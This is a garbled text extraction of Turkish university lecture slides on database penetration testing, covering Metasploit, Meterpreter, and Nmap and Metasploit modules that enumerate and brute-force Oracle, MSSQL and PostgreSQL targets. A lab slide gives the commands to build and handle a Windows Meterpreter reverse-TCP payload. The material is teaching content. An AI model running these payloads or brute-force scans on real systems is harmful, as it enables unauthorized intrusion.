42
Metasploit Kes ¸if Nmap VT ic ¸in Metasploit Kes ¸if ˙ Ic ¸in Dosyalar Exploitation 04 - Veritabanı Sızma Testleri - 1 BGM 531 - Sızma Testleri ve G¨ uvenlik Denetlemeleri Bilgi G ¨ uvenli ˘ gi M ¨ uhendisli ˘ gi uksek Lisans Programı Dr. Ferhat ¨ Ozg ¨ ur C ¸ atak [email protected] ˙ Istanbul S ¸ ehir ¨ Universitesi 2018 - G ¨ uz Dr. Ferhat ¨ Ozg ¨ ur C ¸ atak [email protected] 04 - Veritabanı Sızma Testleri - 1

04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ [email protected] 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Embed Size (px)

Citation preview

Page 1: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

04 - Veritabanı Sızma Testleri - 1BGM 531 - Sızma Testleri ve Guvenlik Denetlemeleri

Bilgi Guvenligi MuhendisligiYuksek Lisans Programı

Dr. Ferhat Ozgur [email protected]

Istanbul Sehir Universitesi2018 - Guz

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 2: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Icindekiler

1 MetasploitGirisSomuru KategorileriMetasploitModullerMetasploit MeterpreterLab

2 KesifGirisOracle Data Unloader (DUL)Kesif Aracları

3 NmapNmap ScriptleriMs-sql-info.nse

oracle-sid-brute.nse4 VT icin Metasploit

GirisAuxiliary Scan ModulleriAuxiliary Scanner & AdminModullerimssql pingpostgres version

5 Kesif Icin DosyalarGiristnsnames.oraWeb.config

6 ExploitationGiris

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 3: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Icindekiler

1 MetasploitGirisSomuru KategorileriMetasploitModullerMetasploit MeterpreterLab

2 KesifGirisOracle Data Unloader (DUL)Kesif Aracları

3 NmapNmap ScriptleriMs-sql-info.nse

oracle-sid-brute.nse4 VT icin Metasploit

GirisAuxiliary Scan ModulleriAuxiliary Scanner & AdminModullerimssql pingpostgres version

5 Kesif Icin DosyalarGiristnsnames.oraWeb.config

6 ExploitationGiris

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 4: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Somuru Nedir?What Is Exploitation?

Somuru Nedir? - compromising a machineI Exploit: Bir tehdidin bir guvenlik acıgından yararlanmak icin kullandıgı

kod veya teknik.I Pentest yapan kisi icin, somuru genellikle bir makineye komutları calıstırmak

icin erisim kazanmayı icermektedir.I Muhtemelen sınırlı ayrıcalıklarla yapına bir islemdirI Hedef: super kullanıcı ayrıcalıklara sahip olmak.

I UID 0 on Linux/UNIX, or Administrator or SYSTEM on WindowsI Bazı ornekler:

I Dosyaların hedef (kurban) makineye tasınmasıI Hedef (kurban) bilgisayardan dosyaların alınmasıI Hedef bilgisayarda paketlerin dinlenmesiI Hedef makinenin tekrar konfigure edilmesi (!!!!!)I Hedef makineye bir yazılım kurulması (!!!!!)

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 5: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Neden Somuru?Why Exploitation?

Neden Somuru?I Yanlıs pozitif (false positive) indirgeme / eleme

I Bazı kuruluslar sadece acık portlar ve zafiyetlerin listelenmesi ister.

I Zafiyetin ispatı (proof of vulnerability) daha gercekci bir risk yonetimiicerecektir.

I Agın derinliklerine inmek icin bir makinenin pivot noktası olarakkullanılması

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 6: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Somuru RiskleriRisks of Exploitation

Somuru RiskleriI Service crashI System crashI System stability impactedI Data exposure

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 7: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Somuru Kategorileri ICategories of Exploits

Somuru KategorileriI Exploit genel olarak 3 kategoriye ayrılmaktadır.

I Service-side exploitI Client-side exploitI Local privilege escalation

I Pentest yapılırken bunların bir tanesi veya buyuk olasılıkla birkombinasyonu kullanılmaktadır.

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 8: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Somuru Kategorileri IICategories of Exploits

Service-Side ExploitsI Hedef makinede bir servis trafigi dinlemektedir. Servis belirli bir TCP

veya UDP portunu dinler.I Port no, versiyon ve OS goz onune alınarak, saldırgan, hedef

makinenin dinleme hizmetinde ag uzerinden islenen hedef makine icinayarlanan uygun exploit paketleri ureten bir arac calıstırır.

I Firewall olması durumunda, firewall in-bound erisime izin vermesigerekmektedir.

I Saldırgan, ag icerisinde yer alan bir bilgisayarı ele gecirmesi durumundabu bilgisayarı pivoting islemi icin kullanacaktır.

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 9: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Somuru Kategorileri IIICategories of Exploits

Client-Side ExploitsI Yazılımlarda bulunan acıklıkların somurulmesi ile elde edilen erisim.I Bir pentest esnasında en basarılı ele gecirme yontemidir.I Son yıllarda sayısı artmaktadır.I Uygulmayaı calıstıran kullanıcının haklarına sahip olunmaktadır. (root,

administrator olunmaz)

Onemli AcıklıklarI Tarayıcılar

I Int. Explorer I Firefox I Chrome I Safari

I Dokuman Okuma UygulamalarıI Adobe Reader I MS Word, PowerPoint, Excel

I Runtime environmentsI Java, Flash, Silverlight, and more

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 10: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Somuru Kategorileri IVCategories of Exploits

Kullanılan Istemci Yazılımlarının BulunmasıI Personelden temin edilmesi: Pentest islemi icin kurumdan bilgi alınabilirI Hedef organizasyon tarafından uretilen dokumanların metadata

bilgisinden elde edilmesiI Kullanılabilecek araclar

I Microsoft Baseline Security AnalyzerI Secunia’s Corporate Software Inspector (Ucretli)I Program Files ve Program Files (x86) icinde arama

C:\> d i r / s ” c :\Program F i l e s ”> i n ven to ry . t x tC:\> d i r / s ” c :\Program F i l e s ( x86 ) ” >> i n ven to ry . t x t

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 11: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Somuru Kategorileri VCategories of Exploits

Local Privilege Escalation ExploitsI Limitli haklara sahip olan bir hesaptan daha yuksek haklara sahip bir

hesaba gecis yapmakI root on Linux or UNIXI Administrator on Windows

I Pentest esnasında dosya okunmasına, yazılım kurulmasına, paketdinleyici calıstırılmasına izin verir

I Metasploit kullanılarak yapılabilir

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 12: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Metasploit

MetasploitI Pentest icin Exploit gelistirme aracları ve otomatiklestirilmis zafiyet

somurusu oludkca onemlidir.I Pentest uzmanları genellikle bilinen zafiyetlerinin somurulmesi amacıyla en

son yayınlanan exploit’leri kullanırlar.

I En uygun cozum: MetasploitI Metasploit, uzaktaki bir hedef makineye karsı exploit kodu gelistirmek

ve calıstırmak icin kullanılan, ucretsiz, acık kaynak kodlu bir aractır.I Debugging, encoding, logging, timeouts, ve random NOP gibi islemler

icin araclar, kutuphaneler icermektedir.I Handler ve callback destegi vardır.I Linux veya Windows isletim sisteminde kullanılabilir.

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 13: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Moduller

ModullerI Moduls: Passive ve Active Exploits

I Active exploits: like buffer overflowI Passive exploits: Fake-DNS Server

I Payloads: Calıstırılacak kodlar, ele gecirilmis bilgisayarın baglanmasıicin gerekli parametrelerI Meterpreter (Meta-Interpreter): karsı bilgisayarın (kurban) sadece memory

kısmında yer alır. HDD uzerinde bir trace bırakmaz. Injection (putty v.s.)

I Encoders: Payloadların AV tarafından ele gecirilmesini engellemek icinkullanılır.

I NOPs: Payload boyutunu uyumlu hale getirmek amacıyla no operationinstructions eklemek icin kullanılır (padding).

Rapid7 uzerinde oldukca gelismis dokumantasyonu vardır.

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 14: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Metasploit Meterpreter I

MeterpreterI Metasploit Interpreter = MeterpreterI A Metasploit payload that acts as a specialized shell running inside the

memory of a metasploit-exploited processI Consists of a series of Dlls injected into the process’s memory

I No separate process createdI Meterpreter versions are available for Windows, Linux, PHP, and Java

environments:I All communication with Meterpreter running Target Machine on target is TLS

encrypted

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 15: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Metasploit Meterpreter II

Temel KomutlarI ? / help: Display a help menuI exit / quit: Quit the MeterpreterI sysinfo: Show name, OS typeI shutdown / reboot: Self-explanatoryI reg: read or write to the Registry

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 16: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Metasploit Meterpreter III

File System CommandsI cd : Navigate directory structureI lcd: Change local directories on attacker machineI pwd / getwd: Show the current working directoryI ls: List the directory contentsI cat : Display a file’s contentsI download / upload : Move a file to or from the machineI mkdir / rmdir: Make or remove directoriesI edit: Edit a file using default editor (typically vi)

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 17: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Metasploit Meterpreter IV

Process CommandsI getpid - Returns the process ID that Meterpreter is running insideI getuid - Returns the user ID that the Meterpreter is running withI ps - Process listI kill - Terminate a processI execute - Runs a given programI migrate - Jumps to a given destination process ID:

I Target process must have the same or lesser privilegesI May be a more stable processI When inside the process, can access any files that it has a lock on

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 18: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Lab I

Payload - LabI msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.xxx.xxx

LPORT=443 -f exe x > ˜/Desktop/r tcp.exeI msfconsoleI use exploit/multi/handlerI set PAYLOAD windows/meterpreter/reverse tcpI set LHOST 192.168.xxx.xxxI set LPORT 443I set ExitOnSession falseI exploit -j -zI sessions -lI sessions -i 1

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 19: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Lab II

Meterpreter - LabI Ele gecirilen bilgisayrda calıstırılacak bircok komut vardır.I Help komutuyla yapılabilecek gorulur.I shell: whoami, tasklist,I Migrate: hak yukseltmek icin kullanılmaktadır.I IPconfig, Netstat, Route, ARP

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 20: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Veritabanı Sızma Testleri

Veritabanı Sızma TestleriI Kesif

I Veritabanlarını tespit edilmesiI Sistemler hakkında bilgi elde edilmesi

I IP adresleri I port bilgileri I yetkili kullanıcılar

I ExploitationI Kesif asamasında elde edilen bilgiler kullanılarak veritabanı sistemlerine

erisim saglamaI Bulunan acıklıklardanI veritabanlarındaki varsayılan kullanıcı adı ve parola bilgilerinden,I ic ag testlerinde elde edilen baglantı bilgilerinden,I yonetici bilgisayarlarındaki veritabanı istemci uygulamalarında kayıtlı tutulan

kimlik bilgilerinden faydalanılır.I Post-Exploitation

I sızıldıktan sonra yapılan tum islemlerin genel adıI kritik bilgilerin ele gecirilmesiI kullanıcı adı ve sifre ozetleriI kurum icin kritik sayılabilecek bilgiler

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 21: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Icindekiler

1 MetasploitGirisSomuru KategorileriMetasploitModullerMetasploit MeterpreterLab

2 KesifGirisOracle Data Unloader (DUL)Kesif Aracları

3 NmapNmap ScriptleriMs-sql-info.nse

oracle-sid-brute.nse4 VT icin Metasploit

GirisAuxiliary Scan ModulleriAuxiliary Scanner & AdminModullerimssql pingpostgres version

5 Kesif Icin DosyalarGiristnsnames.oraWeb.config

6 ExploitationGiris

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 22: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Kesif I

KesifI Kurum icerisinde bulunan veritabanı sistemlerinin tespitiI Veritabanı versiyon bilgisiI Oracle veritabanlarındaki SID degeriI Veritabanı sistemlerinin uzerinde calıstıgı sunucu adıI MsSQL Server veritabanlarındaki instance adıI Veritabanı sistemlerinin calıstıgı port bilgisiI Veritabanı sistemlerinde gelen istekleri karsılayan listener servisiI Kurulumla gelen ve degistirilmeyen kullanıcı adı ve parola bilgileri

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 23: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Kesif II

Sekil: Oracle Listener

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 24: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Oracle Data Unloader (DUL) I

Sekil: Oracle Data Unloader

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 25: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Oracle Data Unloader (DUL) II

Sekil: John the ripper

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 26: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Kesif Aracları

Nmap

I Nmap scriptleri kullanılırI hedef veritabanı sistemleri

ile ilgili IP adresiI port bilgisiI versiyon numarasıI instance adı ve SID

Nessus (Acıklık tarayıcısı)

I Bazı zafiyetler Metasploit,Canvas gibi araclarlasomurulebilmektedir.

I Bu aracların hedefsistemlerdeki zafiyetlerikullanmasıyla veritabanısistemlerine erisimsaglanabilir.

Metasploit

I Sızma islemlerigerceklestirmek icinkullanılır

I auxiliary modullerisayesinde kesifasamasında bilgi eldeetmek icin de kullanılabilir.

Ic ag test sonucları

I “tnsnames.ora” gibiyapılandırma dosyaları

I icerisindeki bilgiler ileOracle veritabanısistemlerinin IP adresleri,port bilgileri ve SID bilgisi

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 27: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Icindekiler

1 MetasploitGirisSomuru KategorileriMetasploitModullerMetasploit MeterpreterLab

2 KesifGirisOracle Data Unloader (DUL)Kesif Aracları

3 NmapNmap ScriptleriMs-sql-info.nse

oracle-sid-brute.nse4 VT icin Metasploit

GirisAuxiliary Scan ModulleriAuxiliary Scanner & AdminModullerimssql pingpostgres version

5 Kesif Icin DosyalarGiristnsnames.oraWeb.config

6 ExploitationGiris

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 28: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Nmap

Nmap ScriptleriI MsSQL Server

I ms-sql-info.nsenmap -p [Port] --script ms-sql-info [host]

I OracleI oracle-enum-users.nse (Attempts to enumerate valid Oracle user names

against unpatched Oracle 11g servers)nmap --script oracle-enum-users --script-argsoracle-enum-users.sid=[SID], userdb=orausers.txt -p 1521-1560 [host]

I oracle-brute.nsenmap --script oracle-brute -p [Port] --script-args oracle-brute.sid=[SID][host]

I oracle-sid-brute.nsenmap --script=oracle-sid-brute --script-args =oraclesids=/path/to/sidfile -p1521-1560 [host]

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 29: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Ms-sql-info.nse

I Kullanıcı adı ve parolaya ihtiyac duymadan MsSQL Server hakkındaI hangi urunun kuruluI veritabanının versiyon numarasıI hangi SP (Servis Pack)’lerin kurulu olduguI veritabanına ait instance ismi

Sekil: ms-sql-info.nse

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 30: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

oracle-sid-brute.nse

I Oracle veritabanlarına erismek icin kullanılan parametrelerden biri olanSID degeri bulunabilir.

I Script icerisinde SID degerleri bulunan dısarıdan bir dosya alarak budosya icerisindeki degerleri veritabanı uzerinde dener

I Nmap –script=oracle-sid-brute –script-args=oraclesids=<oracle-sid-files> -p <port> <host>I <oracle-sid-files>: Veritabanında deneme yapılacak SID degerlerinin dosya yoluI <port>: Oracle veritabanının calıstıgı port bilgisiI <host>: Oracle veritabanına ait IP adres

Sekil: ms-sql-info.nseDr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 31: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Icindekiler

1 MetasploitGirisSomuru KategorileriMetasploitModullerMetasploit MeterpreterLab

2 KesifGirisOracle Data Unloader (DUL)Kesif Aracları

3 NmapNmap ScriptleriMs-sql-info.nse

oracle-sid-brute.nse4 VT icin Metasploit

GirisAuxiliary Scan ModulleriAuxiliary Scanner & AdminModullerimssql pingpostgres version

5 Kesif Icin DosyalarGiristnsnames.oraWeb.config

6 ExploitationGiris

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 32: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Kesif Icin Metasploit

Kesif Icin MetasploitI Auxiliary moduller genel olarak hedef sistemler uzerinde bilgi elde etmek

icin kullanılır.I Modullerden bazıları zafiyetlerden faydalanarak hedef sistemler uzerinde

komut calıstırabilmektedir.I MsSQL Server veritabanları uzerinde bulunan ve isletim sistemi uzerinde

komut calıstırmayı saglayan xp cmdshell saklı prosedurunu kullanan“auxiliary/admin/mssql/mssql exec” modulu hedef veritabanı uzerinisletim sistemi komutları calıstırabilir.

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 33: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Metasploit Auxiliary Modulleri

I Metasploit Auxiliary Scan ModulleriI MsSQL veritabanı

I Auxiliary/scanner/mssql/mssql ping: Bu modul herhangi bir kullanıcı adı veparola bilgisi olmadan veritabanı IP adresini kullanarak veritabanı ile ilgili port,version ve instance adı bilgilerini elde edebilir.

I PostgreSQL veritabanıI Auxiliary/scanner/postgres/postgres version: Herhangi bir kullanıcıya ait

parola bilgisi olmadan sadece veritabanına ait IP adresi ve kullanıcı adıkullanılarak PostgreSQL veritabanının versiyon bilgisi elde edilebilir.

I MySQL veritabanıI Auxiliary/scanner/mysql/mysql version: Herhangi bir kullanıcı adı ve parola

bilgisi olmadan sadece veritabanına ait IP adresi kullanılarak MySQLveritabanının versiyon bilgisi elde edilebilir.

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 34: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

Auxiliary Scanner & Admin Modulleri

I AdminI Oracle

I Auxiliary/admin/oracle/sid brute – Auxiliary/scanner/oracle/sid brute: Kabakuvvet yontemiyle hedef veritabanı sistemlerindeki SID degerlerini tespit etmeyecalısır.

I Auxiliary/admin/oracle/tnscmd: Cesitli TNS komutları gondererek veritabanısistemleri hakkında bilgi almaya yarar.

I ScannerI Oracle

I Auxiliary/scanner/oracle/sid enum: Kaba kuvvet ya da tahmin yontemleriyleveritabanı sistemlerindeki SID degerlerini bulmaya calısır.

I Auxiliary/scanner/oracle/tnslsnr version: Oracle listener servisine cesitlisorgular gondererek bu servis hakkında bilgi elde etmeye calısır.

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 35: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

mssql ping

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

Page 36: 04 - Veritabanı Sızma Testleri - 1 · I IPconfig, Netstat, Route, ARP Dr. Ferhat Ozgur¨ C¸atak¨ ozgur.catak@tubitak.gov.tr 04 - Veritabanı Sızma Testleri - 1 Metasploit Kes¸if

Metasploit Kesif Nmap VT icin Metasploit Kesif Icin Dosyalar Exploitation

postgres version

Dr. Ferhat Ozgur Catak [email protected] 04 - Veritabanı Sızma Testleri - 1

